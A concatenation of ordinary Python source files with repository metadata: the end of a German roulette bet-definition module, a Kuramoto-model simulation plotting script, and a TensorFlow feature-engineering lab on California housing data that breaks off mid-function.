Dutzend:\nr.colonne1          die linke Reihe             {1,4,7,..,34}          12    2 : 1\nr.colonne2          die mittlere Reihe          {2,5,8,..,35} \t\t\t \nr.colonne3          die rechte Reihe            {3,6,9,..,36}\t\t\t\nr.douze_premier     das erste Dutzend           {1,2,..,12}\t\t\t \nr.douze_milieu      das mittlere Dutzend        {13,14,..,24}\t\t\t\nr.douze_dernier     das letzte Dutzend          {25,26,..,36}\n\t\t\t \nEinfache Chancen:\nr.pair              die geraden Zahlen au\u00dfer 0  {2,4,6,..,36}          18    1 : 1\nr.impair            die ungeraden Zahlen        {1,3,5,..,35}\t\t\t\nr.rouge             die roten Zahlen            {1,3,7,..36}\t\t\t\nr.noir              die schwarzen Zahlen        {2,4,6,..35}\t\t\t\nr.manque            die erste H\u00e4lfte            {1,2,..,18}\t\t\t\nr.passe             die zweite H\u00e4lfte           {19,20,..,36}\t\t\t\n\t\"\"\")\n        return \n\n\t\t\n\t\t\n# 'Unbenannte' Chancen au\u00dfer plein\t\t\n# --------------------------------\t\t\n_a_cheval = [{0, 1}, {0, 2}, {0, 3}, {1, 2}, {2, 3}, {1, 4}, {2, 5}, {4, 5}, {3, 6}, \\\n                  {5, 6}, {4, 7}, {5, 8}, {6, 9}, {7, 8}, {8, 9}, {7, 10}, {8, 11}, {10, 11}, \\\n                  {9, 12}, {11, 12}, {10, 13}, {11, 14}, {12, 15}, {13, 14}, {13, 16}, \\\n                  {14, 15}, {14, 17}, {15, 18}, {16, 17}, {17, 18}, {16, 19}, {17, 20}, \\\n                  {19, 20}, {18, 21}, {19, 22}, {20, 21}, {20, 23}, {22, 23}, {21, 24}, \\\n                  {22, 25}, {23, 24}, {23, 26}, {25, 26}, {24, 27}, {25, 28}, {26, 27}, \\\n                  {26, 29}, {28, 29}, {27, 30}, {28, 31}, {29, 30}, {29, 32}, {30, 33}, \\\n                  {31, 32}, {32, 33}, {31, 34}, {32, 35}, {33, 36}, {34, 35}, {35, 36}]\t\t\n_transversale_plein = [{1, 2, 3}, {4, 5, 6}, {7, 8, 9}, {10, 11, 12}, {13, 14, 15}, \\\n                  {16, 17, 18}, {19, 20, 21}, {22, 23, 24}, {25, 26, 27}, {28, 29, 30}, \\\n                  {31, 32, 33}, {34, 35, 36}]\t\n_carre = [{1, 2, 3, 4}, {1, 2, 4, 5}, {2, 3, 5, 6}, {4, 5, 7, 8}, {5, 6, 8, 9}, \\\n                  {7, 8, 10, 11}, {8, 9, 11, 12}, {10, 11, 13, 14}, {11, 12, 14, 15}, \\\n                  {13, 14, 16, 17}, {14, 15, 17, 18}, {16, 17, 19, 20}, {17, 18, 20, 21}, \n                  {19, 20, 22, 23}, {20, 21, 23, 24}, {22, 23, 25, 26}, {23, 24, 26, 27}, \\\n                  {25, 26, 28, 29}, {26, 27, 29, 30}, {28, 29, 31, 32}, {29, 30, 32, 33}, \\\n                  {31, 32, 34, 35}, {32, 33, 35, 36}]\t\t\t\t  \n_transversale_simple = [{1, 2, 3, 4, 5, 6}, {4, 5, 6, 7, 8, 9}, {7, 8, 9, 10, 11, 12}, \\\n                  {10, 11, 12, 13, 14, 15}, {13, 14, 15, 16, 17, 18}, {16, 17, 18, 19, 20, 21}, \\\n                  {19, 20, 21, 22, 23, 24}, {22, 23, 24, 25, 26, 27}, {25, 26, 27, 28, 29, 30}, \\\n                  {28, 29, 30, 31, 32, 33}, {31, 32, 33, 34, 35, 36}]\t\t\t\t  \n\t\t\n\t\n", "meta": {"hexsha": "f344e1cda96fa9a3929a1b64d05a5eaed2c2607c", "size": 28515, "ext": "py", "lang": "Python", "max_stars_repo_path": "zufall/lib/objekte/roulette.py", "max_stars_repo_name": "HBOMAT/AglaUndZufall", "max_stars_repo_head_hexsha": "3976fecf024a5e4e771d37a6b8056ca4f7eb0da1", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "zufall/lib/objekte/roulette.py", "max_issues_repo_name": "HBOMAT/AglaUndZufall", "max_issues_repo_head_hexsha": "3976fecf024a5e4e771d37a6b8056ca4f7eb0da1", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "zufall/lib/objekte/roulette.py", "max_forks_repo_name": "HBOMAT/AglaUndZufall", "max_forks_repo_head_hexsha": "3976fecf024a5e4e771d37a6b8056ca4f7eb0da1", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.139183056, "max_line_length": 164, "alphanum_fraction": 0.4418376293, "include": true, "reason": "from sympy", "num_tokens": 8876, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.15203224354320868, "lm_q1q2_score": 0.07601612177160434}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nimport os\nfrom sympy import *\nimport pandas as pd\nimport numpy as np\nimport scipy.fftpack\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nplt.style.use(\"seaborn-paper\")\n\ndef find_nearest(array, value):\n    array = np.asarray(array)\n    idx = (np.abs(array - value)).argmin()\n    return idx\n\n\n# ## Canvas palette\n\n# In[6]:\n\n\n#Canvas for single plot\nx = np.linspace(0,10,100)\ny = np.sin(x)\nplt.figure(figsize=[14,6])\nplt.grid(True)\nplt.title(\"Change-me!\",fontsize=20)\nplt.plot(x,y,label=\"testvalue\")\nplt.legend(fontsize=16)\nplt.xlabel(\"XLABEL (unit)\",fontsize=18)\nplt.ylabel(\"YLABEL (unit)\",fontsize=18)\nplt.show()\n\n\n# In[7]:\n\n\n#Canvas for side by side\nfig, axes = plt.subplots(nrows=1, ncols=2, figsize=(14,6))\nfig.suptitle(\"test\",y=1.05,fontsize=20)\n\naxes[0].grid(True)\naxes[0].plot(x,y,label=\"testvalue\")\naxes[0].legend(fontsize=16)\naxes[0].set_title(\"TESTTITLE\",fontsize=18)\naxes[0].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[0].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[0].legend(fontsize=16)\naxes[0].tick_params(axis='both', which='major', labelsize=15)\n\n\naxes[1].grid(True)\naxes[1].plot(x,y,label=\"testvalue\")\naxes[1].legend(fontsize=16)\naxes[1].set_title(\"TESTTITLE\",fontsize=18)\naxes[1].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[1].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[1].legend(fontsize=16)\naxes[1].tick_params(axis='both', which='major', labelsize=15)\n\nfig.tight_layout()\nplt.show()\n\n\n# In[8]:\n\n\n#Canvas for side by side\nfig, axes = plt.subplots(nrows=2, ncols=4, figsize=(14,6))\nfig.suptitle(\"test\",y=1.05,fontsize=20)\n\naxes[0,0].grid(True)\naxes[0,0].plot(x,y,label=\"testvalue\")\naxes[0,0].legend(fontsize=16)\naxes[0,0].set_title(\"TESTTITLE\",fontsize=18)\naxes[0,0].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[0,0].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[0,0].legend(fontsize=16)\naxes[0,0].tick_params(axis='both', which='major', labelsize=15)\n\n\naxes[0,1].grid(True)\naxes[0,1].plot(x,y,label=\"testvalue\")\naxes[0,1].legend(fontsize=16)\naxes[0,1].set_title(\"TESTTITLE\",fontsize=18)\naxes[0,1].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[0,1].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[0,1].legend(fontsize=16)\naxes[0,1].tick_params(axis='both', which='major', labelsize=15)\n\nfig.tight_layout()\nplt.show()\n\n\n# ## Read data\n\n# In[11]:\n\n\n#Folder and paths definitions\nmain_path  = os.getcwd()\ndatafolder_path = main_path+\"/results\"\nresults_dir = \"/output_py\" \noutput_dir = main_path+results_dir\ntry:\n    os.mkdir(output_dir)\nexcept OSError:\n    print (\"Creation of the directory %s failed\" % results_dir)\nelse:\n    print (\"Successfully created the directory %s \" % results_dir)\n\n\n# In[ ]:\n\n\n\n\n\n# In[81]:\n\n\n#Simulation parameters\nN = 1000\nT = 10000\nn_runs = 10\ndt = .01\nfreq = \"ufreq\"\nfixed_plot = False #--> fixed phase and variable freqs, False viceversa\ngamma = .5\nMF = \"MF\"\n\nif(freq ==\"gfreq\"):\n    freq_plot=\"$\\\\vec{\\\\omega_{0}} = \\\\mathcal{N}(0,1)$\"\nelse:\n    freq_plot=\"$\\\\vec{\\\\omega_{0}} = U(-%.1f,%.1f)$\"%(gamma,gamma)\nif(MF ==\"MF\"):\n    MF_plot=\"MeanField\"\nelse:\n    MF_plot=\"non-meanField\"\n\nif(fixed_plot==True):\n    fixed_plot = \"FixedPhase\"\nelse:\n    fixed_plot = \"FixedFreq\"\n\n\n# In[82]:\n\n\n#OutputFileNames\n#S/N --> |r(t)|/sigma(r(t))\nsn_name = \"S_N\"\n#(Mod&Phase)(t)\nmodphase_name = \"ModPhase_t\"\n#(Mod)(t)\nmod_name = \"Mod_t\"\n#Spectrum\nspectrum_name = \"Spectrum\"\n#r_inf\nrinf_name = \"r_inf\"\n#Configuration-specific name\nif(freq!=\"gfreq\"):\n    config_name= \"/N%d_nruns%d_freq=%s_gamma=%.2f\"%(N,n_runs,freq,gamma)\nelse:\n    config_name= \"/N%d_nruns%d_freq=%s_\"%(N,n_runs,freq)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[84]:\n\n\n#Create dataframe dictionary. For each entry, first value is the K of the dataframe (second value)\ndata = []\nfor i in range(0,n_runs):\n    filename = datafolder_path + \"/PART2_ufreq_uphase_N1000_NOMF_T10000_dt0.0100_nruns10_K1.000_NO_Fphase_Ffreq_RUN%d.tsv\"%(i)\n    #cols refers to timestep, mod, phase, (of order parameter)\n    df = pd.read_csv(filename,sep=\"\\t\",header=None)\n    data.append([\"n_run=%d\"%(i),df])\n    \n\n\n# In[ ]:\n\n\n\n\n\n# ## Plots\n\n# In[ ]:\n\n\n\n\n\n# In[85]:\n\n\n#Plot settings\nalph = 1\ntmax = 100\n\n\nfig, axes = plt.subplots(nrows=1, ncols=1, figsize=(14,6))\n\nfig.suptitle(\"N = %d, dt = %.3f, %s, K=1\"%(N,dt,freq_plot),y=.95,fontsize=20)\n\nplt.grid(True)\n\n#for i in range(0,2):\nfor i in range(0,n_runs):\n    plt.plot(data[i][1][0],data[i][1][1],ls='--',linewidth=.8,markersize=.05,label=\"n_run=%d\"%(i+1),alpha=alph)\n\nplt.title(\"Re[r(t)], fixed $\\\\vec{\\\\omega}(0)$\",fontsize=18)\nplt.xlabel(\"t\",fontsize=18)\nplt.ylabel(\"\",fontsize=18)\nplt.legend(fontsize=16,ncol=2)\nplt.xlim(0,tmax)\nplt.tick_params(axis='both', which='major', labelsize=15)\n\nfig.tight_layout()\nplt.xlim(0,20)\nplt.subplots_adjust(top=.825)\nplt.savefig(output_dir+config_name+mod_name+fixed_plot+\"real.png\")\nplt.show()\n\n\n# In[86]:\n\n\n#Plot settings\nalph = 1\ntmax = 100\n\n\nfig, axes = plt.subplots(nrows=1, ncols=1, figsize=(14,6))\n\nfig.suptitle(\"N = %d, dt = %.3f, %s, K=1\"%(N,dt,freq_plot),y=.95,fontsize=20)\n\nplt.grid(True)\n\n#for i in range(0,2):\nfor i in range(0,n_runs):\n    plt.plot(data[i][1][0],data[i][1][2],ls='--',linewidth=.8,markersize=.05,label=\"n_run=%d\"%(i+1),alpha=alph)\n\nplt.title(\"Im[r(t)], fixed $\\\\vec{\\\\omega}(0)$\",fontsize=18)\nplt.xlabel(\"t\",fontsize=18)\nplt.ylabel(\"\",fontsize=18)\nplt.legend(fontsize=16,ncol=2)\nplt.xlim(0,tmax)\nplt.tick_params(axis='both', which='major', labelsize=15)\n\nfig.tight_layout()\nplt.xlim(0,20)\nplt.subplots_adjust(top=.825)\nplt.savefig(output_dir+config_name+mod_name+fixed_plot+\"imag.png\")\nplt.show()\n\n\n# In[70]:\n\n\n\nfig, axes = plt.subplots(nrows=2, ncols=5, figsize=(14,6))\nfig.suptitle(\"$\\\\mathcal{F} (r(t))$\\nN = %d, dt = %.3f, %s, n_runs = %d\"%(N,dt,freq_plot, n_runs),y=1,fontsize=20)\ncounter1 = 0\ncounter2 = 0\n#for i in range(0,2):\nfor i in range(0,n_runs):\n    if(counter1<n_runs/2):\n        axes[0,counter1].grid(True)\n        im = axes[0,counter1].specgram(data[i][1][1],Fs=1/dt)\n        axes[0,counter1].set_title(\"K = %s\"%(data[i][0]),fontsize=18)\n        axes[0,counter1].set_xlabel(\"t\",fontsize=18)\n        axes[0,counter1].set_ylabel(\"Freq.\",fontsize=18)\n        axes[0,counter1].tick_params(axis='both', which='major', labelsize=15)\n        counter1 = counter1+1\n    else:  \n        axes[1,counter2].grid(True)\n        im = axes[1,counter2].specgram(data[i][1][1],Fs=1/dt)\n        axes[1,counter2].set_title(\"K = %s\"%(data[i][0]),fontsize=18)\n        axes[1,counter2].set_xlabel(\"t\",fontsize=18)\n        axes[1,counter2].set_ylabel(\"Freq.\",fontsize=18)\n        axes[1,counter2].tick_params(axis='both', which='major', labelsize=15)\n        counter2 = counter2+1\n\nfig.tight_layout()\nplt.subplots_adjust(top=.825)\n\nplt.savefig(output_dir+config_name+spectrum_name+\".png\")\n\nplt.show()\n\n\n# In[58]:\n\n\n#for r_inf evaluation\nKval_list = []\nr_inf = []\nr_inf_err = []\nlast_percent = .9\nfor i in range(0,len(Kvalues)):\n    r_inf.append([np.mean(data[i][1][1][int(len(data[i][1][1])*last_percent):])])\n    r_inf_err.append([np.std(data[i][1][1][int(len(data[i][1][1])*last_percent):])])\n    Kval_list.append([Kvalues[i]])\n\n\n# # ADD ERRORBARS\n\n# In[59]:\n\n\n\nfig = plt.figure(figsize=[14,6])\nplt.grid(True)\nplt.title(\"N = %d, dt = %.3f, %s, n_runs = %d\"%(N,dt,freq_plot, n_runs),y=1,fontsize=20)\n#plt.errorbar(Kval_list,r_inf,y_err=r_inf_err,label=\"testvalue\")\nplt.errorbar(Kval_list,r_inf,ls='--',linewidth=.5,fmt='.',markersize=5, elinewidth=.5, capthick=.5,label=\"Average on last %d steps\"%((1-last_percent)*T+1))\nplt.legend(fontsize=16)\nplt.xlabel(\"K\",fontsize=18)\nplt.ylabel(\"$r_{\\\\infty}$\",fontsize=18,rotation=0)\nfig.tight_layout()\nplt.savefig(output_dir+config_name+rinf_name+\".png\")\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "94d7d8c0d17c1da48d89e539c2785c2816dc57c1", "size": 7669, "ext": "py", "lang": "Python", "max_stars_repo_path": "Code/Python/Part2_analysis.py", "max_stars_repo_name": "spicella/Intro_to_ComplexSystems-Kuramoto", "max_stars_repo_head_hexsha": "64c027f1f0d16b2358d6889de453c1474d3dea6b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-01-04T22:36:10.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-04T22:36:10.000Z", "max_issues_repo_path": "Code/Python/Part2_analysis.py", "max_issues_repo_name": "spicella/Intro_to_ComplexSystems-Kuramoto", "max_issues_repo_head_hexsha": "64c027f1f0d16b2358d6889de453c1474d3dea6b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-01-01T16:13:24.000Z", "max_issues_repo_issues_event_max_datetime": "2020-01-01T16:13:24.000Z", "max_forks_repo_path": "Code/Python/Part2_analysis.py", "max_forks_repo_name": "spicella/IntroCS-Kuramoto", "max_forks_repo_head_hexsha": "64c027f1f0d16b2358d6889de453c1474d3dea6b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.6028169014, "max_line_length": 155, "alphanum_fraction": 0.6667101317, "include": true, "reason": "import numpy,import scipy,from sympy", "num_tokens": 2553, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.1581743527484317, "lm_q1q2_score": 0.0759994039096498}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"Swapnil Tamrakar Lab 7: Feature Engineering - Creating Synthetic Features.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/drive/1Pd5yAJ6CxvLGYIN-2RInnOEBKaBdOvxH\n\n#### Copyright 2017 Google LLC.\n\"\"\"\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"# Lab 7: Feature Engineering - Creating Synthetic Features\n**Learning Objectives:**\n  * Gain more experience with the `LinearRegressor` class in TensorFlow by using it to predict median housing price, at the granularity of city blocks\n  * Use a validation data set and test set to make sure that our model will generalize and is not overfitting the training data.\n  * Use test data only after tuning hyperparameters as a measure of how the model will generalize to new data\n  * Create synthetic features from the existing features (e.g., taking a ratio of two other features)\n  * More practice with feature transformations including identifying and clipping (removing) outliers out of the input data to obtain the best model\n\n### Standard Set-up\n\nWe begin with the same set-up as in the last lab.\n\"\"\"\n\nimport math\n\nfrom IPython import display\nfrom matplotlib import cm\nfrom matplotlib import gridspec\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn import metrics\nimport tensorflow as tf\nfrom tensorflow.contrib.learn.python.learn import learn_io, estimator\n\n# This line increases the amount of logging when there is an error. You can\n# remove it if you want less logging.\ntf.logging.set_verbosity(tf.logging.ERROR)\n\n# Set the output display to have two digits for decimal places, for display\n# readability only and limit it to printing 15 rows.\npd.options.display.float_format = '{:.2f}'.format\npd.options.display.max_rows = 15\n\n\"\"\"Read the data and randomize the order.\"\"\"\n\ncalifornia_housing_dataframe = pd.read_csv(\"https://storage.googleapis.com/ml_universities/california_housing_train.csv\", sep=\",\")\n\ncalifornia_housing_dataframe = california_housing_dataframe.reindex(\n    np.random.permutation(california_housing_dataframe.index))\n\ncalifornia_housing_dataframe.describe()\n\n\"\"\"##Prepare Features\n\nAs our learning models get more sophisticated we will want to do some computation on the features and even generate new features from the existing features. You will change this later in the lab. For now this method will just make a copy of the portion of the dataframe we plan to use, and re-scale the median-house value (to make it a bit easier to work with).\n\"\"\"\n\ndef prepare_features(dataframe):\n  \"\"\"Prepares the features for provided dataset.\n\n  Args:\n    dataframe: A Pandas DataFrame expected to contain data from the\n      desired data set.\n  Returns:\n    A new dataFrame that contains the features to be used for the model.\n  \"\"\"\n  processed_features = dataframe.copy()\n  \n  # Modifying median_house_value to be in scale of $1000.  So a value of 14.0\n  # will correspond to $14,000.  This will make it a bit easier to work with.\n  processed_features[\"median_house_value\"] /= 1000.0\n  \n  return processed_features\n\n\"\"\"###Divide the provided data for training our model into a training and validation set\n\nAs in the last lab we use the first 14000 examples (after randomization) for the ***training set*** and the remaining 3000 examples for the ***validation set***.\n\"\"\"\n\ntraining_examples = prepare_features(california_housing_dataframe.head(14000))\nvalidation_examples = prepare_features(california_housing_dataframe.tail(3000))\n\n\"\"\"### Load the Test Data\n\nAs in the last lab we load the test data from [here](https://storage.googleapis.com/ml_universities/california_housing_test.csv).\n\"\"\"\n\ncalifornia_housing_test_data = pd.read_csv(\n    \"https://storage.googleapis.com/ml_universities/california_housing_test.csv\",\n    sep=\",\")\n\ntest_examples = prepare_features(california_housing_test_data)\n\n\"\"\"### Compute Loss\n\nHere is a simple method to compute the loss on the given input function and targets.\n\"\"\"\n\ndef compute_loss(model, input_fn, targets):\n  \"\"\" Computes the loss (RMSE) for linear regression.\n  \n  Args:\n    model: the trained model to use for making the predictions.\n    input_fn: the input_fn to use to make the predictions.\n    targets: a list of the target values being predicted that must be the\n             same length as predictions.\n    \n  Returns:\n    The RMSE for the provided predictions and targets.\n  \"\"\"      \n  predictions = list(model.predict(input_fn=input_fn))\n  return math.sqrt(metrics.mean_squared_error(predictions, targets))\n\n\"\"\"### Setting Up the Feature Columns and Input Function for TensorFlow\nAs in the last lab we define `input_fn` to create a real-valued feature for each provided\nnumerical column, and then define `train_input_fn` to use the training data, `eval_input_fn` to use the validation data, and `test_input_fn` to use the test data.\n\"\"\"\n\nCATEGORICAL_COLUMNS = []\nNUMERICAL_COLUMNS = [\"latitude\", \"longitude\", \"housing_median_age\", \n                     \"total_rooms\", \"total_bedrooms\", \"population\",\n                     \"households\", \"median_income\"]\ndef input_fn(dataframe):\n  \"\"\"Constructs a dictionary for the feature columns.\n\n  Args:\n    dataframe: The Pandas DataFrame to use for the input.\n  Returns:\n    The feature columns and the associated labels for the provided input.\n  \"\"\"\n  # Creates a dictionary mapping each numeric feature column name (k) to\n  # the values of that column stored in a constant Tensor.\n  numerical_cols = {k: tf.constant(dataframe[k].values)\n                     for k in NUMERICAL_COLUMNS}\n  # Creates a dictionary mapping each categorical feature column name (k)\n  # to the values of that column stored in a tf.SparseTensor.\n  categorical_cols = {k: tf.SparseTensor(\n      indices=[[i, 0] for i in range(dataframe[k].size)],\n      values=dataframe[k].values,\n      dense_shape=[dataframe[k].size, 1])\n                      for k in CATEGORICAL_COLUMNS}\n  # Merges the two dictionaries into one.\n  feature_cols = dict(numerical_cols.items() + categorical_cols.items())\n  # Converts the label column into a constant Tensor.\n  label = tf.constant(dataframe[LABEL].values)\n  # Returns the feature columns and the label.\n  return feature_cols, label\n\ndef train_input_fn():\n  return input_fn(training_examples)\n\ndef eval_input_fn():\n  return input_fn(validation_examples)\n\ndef test_input_fn():\n  return input_fn(test_examples)\n\n\"\"\"### Functions to help visualize our results\n\nWe will use our functions from the last lab to generate a calibration plot and learning curve (with both training and validation losses).\n\"\"\"\n\ndef make_calibration_plot(predictions, targets):\n  \"\"\" Creates a calibration plot.\n  \n  Args:\n    predictions: a list of values predicted by the model being visualized\n    targets: a list of the target values being predicted that must be the\n             same length as predictions.\n  \"\"\"  \n  calibration_data = pd.DataFrame()\n  calibration_data[\"predictions\"] = pd.Series(predictions)\n  calibration_data[\"targets\"] = pd.Series(targets)\n  calibration_data.describe()\n  min_val = calibration_data[\"predictions\"].min()\n  max_val = calibration_data[\"predictions\"].max()\n  plt.ylabel(\"target\")\n  plt.xlabel(\"prediction\")\n  plt.scatter(predictions, targets, color='black')\n  plt.plot([min_val, max_val], [min_val, max_val])\n  \ndef plot_learning_curve(training_losses, validation_losses):\n  \"\"\" Plot the learning curve.\n  \n  Args:\n    training_loses: a list of training losses to plot.\n    validation_losses: a list of validation losses to plot.\n  \"\"\"        \n  plt.ylabel('Loss')\n  plt.xlabel('Training Steps')\n  plt.plot(training_losses, label=\"training\")\n  plt.plot(validation_losses, label=\"validation\")\n  plt.legend(loc=1)\n\n\"\"\"### Defining the features, linear regression model, and function to train the model\n\nThese functions are just like the last lab except now we include all of the available numerical features.\n\"\"\"\n\nNUMERICAL_FEATURES = [\"latitude\", \"longitude\", \"housing_median_age\", \n                     \"total_rooms\", \"total_bedrooms\", \"population\",\n                     \"households\"]\nLABEL = \"median_income\"\n\ndef construct_feature_columns():\n  \"\"\"Construct TensorFlow Feature Columns for features.\n  \n  Returns:\n    A set of feature columns.\n  \"\"\"\n  feature_set = set([tf.contrib.layers.real_valued_column(feature) \n                     for feature in NUMERICAL_FEATURES])\n  return feature_set\n\ndef define_linear_regression_model(learning_rate):\n  \"\"\" Defines a linear regression model of one feature to predict the target.\n  \n  Args:\n    learning_rate: A `float`, the learning rate.\n    \n  Returns:\n    A linear regressor created with the given parameters.\n  \"\"\"\n  linear_regressor = tf.contrib.learn.LinearRegressor(\n    feature_columns=construct_feature_columns(),\n    optimizer=tf.train.GradientDescentOptimizer(learning_rate=learning_rate),\n    gradient_clip_norm=5.0\n  )  \n  return linear_regressor\n\ndef train_model(linear_regressor, steps):\n  \"\"\"Trains a linear regression model.\n  \n  Args:\n    linear_regressor: The regressor to train.\n    steps: A non-zero `int`, the total number of training steps.\n    \n  Returns:\n    The trained regressor.\n  \"\"\"\n  # In order to see how the model evolves as we train it, we divide the\n  # steps into periods and show the model after each period.\n  periods = 10\n  steps_per_period = steps / periods\n  \n  # Train the model, but do so inside a loop so that we can periodically assess\n  # loss metrics.  We store the training and validation losses so we can\n  # generate a learning curve.\n  print \"Training model...\"\n  training_losses = []\n  validation_losses = []\n\n  for period in range (0, periods):\n    # Call fit to train the regressor for steps_per_period steps.\n    linear_regressor.fit(input_fn=train_input_fn, steps=steps_per_period)\n    \n    # Compute the loss between the predictions and the correct labels, append\n    # the training and validation loss to the list of losses used to generate\n    # the learning curve after training is complete and print the current\n    # training loss.\n    training_loss = compute_loss(linear_regressor, train_input_fn,\n                                 training_examples[LABEL])\n    validation_loss = compute_loss(linear_regressor, eval_input_fn,\n                                   validation_examples[LABEL])\n    training_losses.append(training_loss) \n    validation_losses.append(validation_loss) \n    print \"  Training loss after period %02d : %0.3f\" % (period, training_loss)\n      \n  # Now that training is done print the final training and validation losses.    \n  print \"Final Training Loss (RMSE): %0.3f\" % training_loss\n  print \"Final Validation Loss (RMSE): %0.3f\" % validation_loss \n  \n  # Generate a figure with the learning curve on the left and a\n  # calibration plot on the right.\n  plt.figure(figsize=(10, 5))\n  plt.subplot(1, 2, 1)\n  plt.title(\"Learning Curve (RMSE vs time)\")\n  plot_learning_curve(training_losses, validation_losses)\n  \n  plt.subplot(1, 2, 2)\n  plt.tight_layout(pad=1.1, w_pad=3.0, h_pad=3.0) \n  plt.title(\"Calibration Plot on Validation Data\")\n  validation_predictions = np.array(list(linear_regressor.predict(\n      input_fn=eval_input_fn)))\n  make_calibration_plot(validation_predictions, validation_examples[LABEL])\n   \n  return linear_regressor\n\n\"\"\"### Training a model with one feature.\n\nIn the last lab, you trained a model to predict the `median_house_value` from a single feature. Before we explore what can be done by introducing additional features, let's just train a good model to use a single feature.  Feel free to change the below, but as is it should give a pretty good result (given the constraint of using a single feature).\n\"\"\"\n\nNUMERICAL_FEATURES = [\"median_income\"]\nLABEL = \"median_house_value\"\n\nLEARNING_RATE = 0.1\nSTEPS = 250\n\nlinear_regressor = define_linear_regression_model(learning_rate = LEARNING_RATE)\nlinear_regressor = train_model(linear_regressor, steps=STEPS)\n\n\"\"\"Once you've adjusted the hyperparameters (if you'd like to see if you can reduce the validation loss), let's check the loss on the test data.\"\"\"\n\nprint \"loss on test data is\", compute_loss(\n    linear_regressor, test_input_fn, test_examples[LABEL])\n\n\"\"\"## Task 1: Introduce Synthetic Features (1 Point)\nBoth the total_rooms and population features count totals for a given city block.\nBut what if one city block were more densely populated than another? Then just using `total_rooms` and `population` directly might not be very useful.  Instead what we really want is the **quadratic feature** obtain by dividing `total_rooms` by the `population` to give the average number of rooms per person for that city block.\n\nWe've got you started by creating a feature called rooms_per_person.  Create others, and use them along with whatever other features you think are useful to train a model.\n\"\"\"\n\ndef prepare_features(dataframe):\n  \"\"\"Prepares the features for provided dataset.\n\n  Args:\n    dataframe: A Pandas DataFrame expected to contain data from the\n      desired data set.\n  Returns:\n    A new DataFrame that contains the features to be used for the model.\n  \"\"\"\n  processed_features = dataframe.copy()\n  \n  # Modifying median_house_value to be in scale of $1000.  So a value of 14.0\n  # will correspond to $14,000.  This will make it a bit easier to work with.\n  processed_features[\"median_house_value\"] /= 1000.0\n  \n  # Add your synthetic features here. We've got you started by defining \n  # rooms_per_person\n  processed_features[\"rooms_per_person\"] = (\n    dataframe[\"total_rooms\"] / dataframe[\"population\"])\n  processed_features[\"bedrooms_per_person\"] = (dataframe[\"total_bedrooms\"] / dataframe[\"population\"])\n  processed_features[\"rooms_per_household\"] = (dataframe[\"total_rooms\"] / dataframe[\"households\"])\n  processed_features[\"bedrooms_per_household\"] = (dataframe[\"total_bedrooms\"] / dataframe[\"households\"])\n\n  return processed_features\n\n# Generate the training, validation and test examples\ntraining_examples = prepare_features(california_housing_dataframe.head(14000))\nvalidation_examples = prepare_features(california_housing_dataframe.tail(3000))\ntest_examples = prepare_features(california_housing_test_data)\n\nvalidation_examples.describe()\n\n\"\"\"Since we added new features, we need to add them to `NUMERICAL_COLUMNS` so that they are included in the dictionary created by `input_fn`.\"\"\"\n\n# Add any other synthetic features you create to this list.\nNUMERICAL_COLUMNS = [\"latitude\", \"longitude\", \"housing_median_age\", \n                     \"total_rooms\", \"total_bedrooms\", \"population\",\n                     \"households\", \"median_income\", \"rooms_per_person\", \"bedrooms_per_person\", \"rooms_per_household\", \"bedrooms_per_household\"]\n\n\"\"\"##Task 2 -- Add a Clip Feature Transformation (1 point)\n\nRecall that there are two characteristics we'd like of numerical features when used together to train a linear model:\n* The range of the features is roughly the same.\n* To the extent possible the histogram of the features kind of resembles a bell curve.  Sometimes the data will fit this very well and other times it won't.\n\nBelow are the methods to perform linear scaling and log scaling.  For this data set it will also be useful to have a feature transformation to cap the features to within a minimum and/or maximum value.  Most likely you will want to then linearly scale or log scale the feature after clipping it.\n\"\"\"\n\n# Linearly rescales to the range [0, 1]\ndef linear_scale(series):\n  min_val = series.min()\n  max_val = series.max()\n  scale = 1.0 * (max_val - min_val)\n  return 